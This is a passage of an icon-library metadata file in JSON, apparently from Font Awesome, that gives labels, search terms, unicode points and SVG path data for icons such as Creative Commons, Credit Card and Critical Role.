        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-share": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f2",
    "label": "Creative Commons Share",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-zero": {
    "changes": ["5.0.11", "5.4.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f3",
    "label": "Creative Commons CC0",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z"
      }
    },
    "free": ["brands"]
  },
  "credit-card": {
    "aliases": {
      "names": ["credit-card-alt"],
      "unicodes": {
        "composite": ["1f4b3", "f283"],
        "secondary": ["10f09d"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "card",
        "checkout",
        "credit",
        "credit card",
        "credit-card-alt",
        "debit",
        "money",
        "payment",
        "purchase"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f09d",
    "label": "Credit Card",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96v32H576V96c0-35.3-28.7-64-64-64H64zM576 224H0V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V224zM112 352h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm112 16c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96v32H576V96c0-35.3-28.7-64-64-64H64zM576 224H0V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V224zM112 352h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm112 16c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16z"
      },
      "regular": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M512 80c8.8 0 16 7.2 16 16v32H48V96c0-8.8 7.2-16 16-16H512zm16 144V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V224H528zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm56 304c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H120zm128 0c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24H248z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M512 80c8.8 0 16 7.2 16 16v32H48V96c0-8.8 7.2-16 16-16H512zm16 144V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V224H528zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm56 304c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H120zm128 0c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24H248z"
      }
    },
    "free": ["regular", "solid"]
  },
  "critical-role": {
    "changes": ["5.4.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "d&d",
        "dnd",
        "fantasy",
        "game",
        "gaming",
        "tabletop"
      ]
    },
    "styles": ["brands"],
    "unicode": "f6c9",
    "label": "Critical Role",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 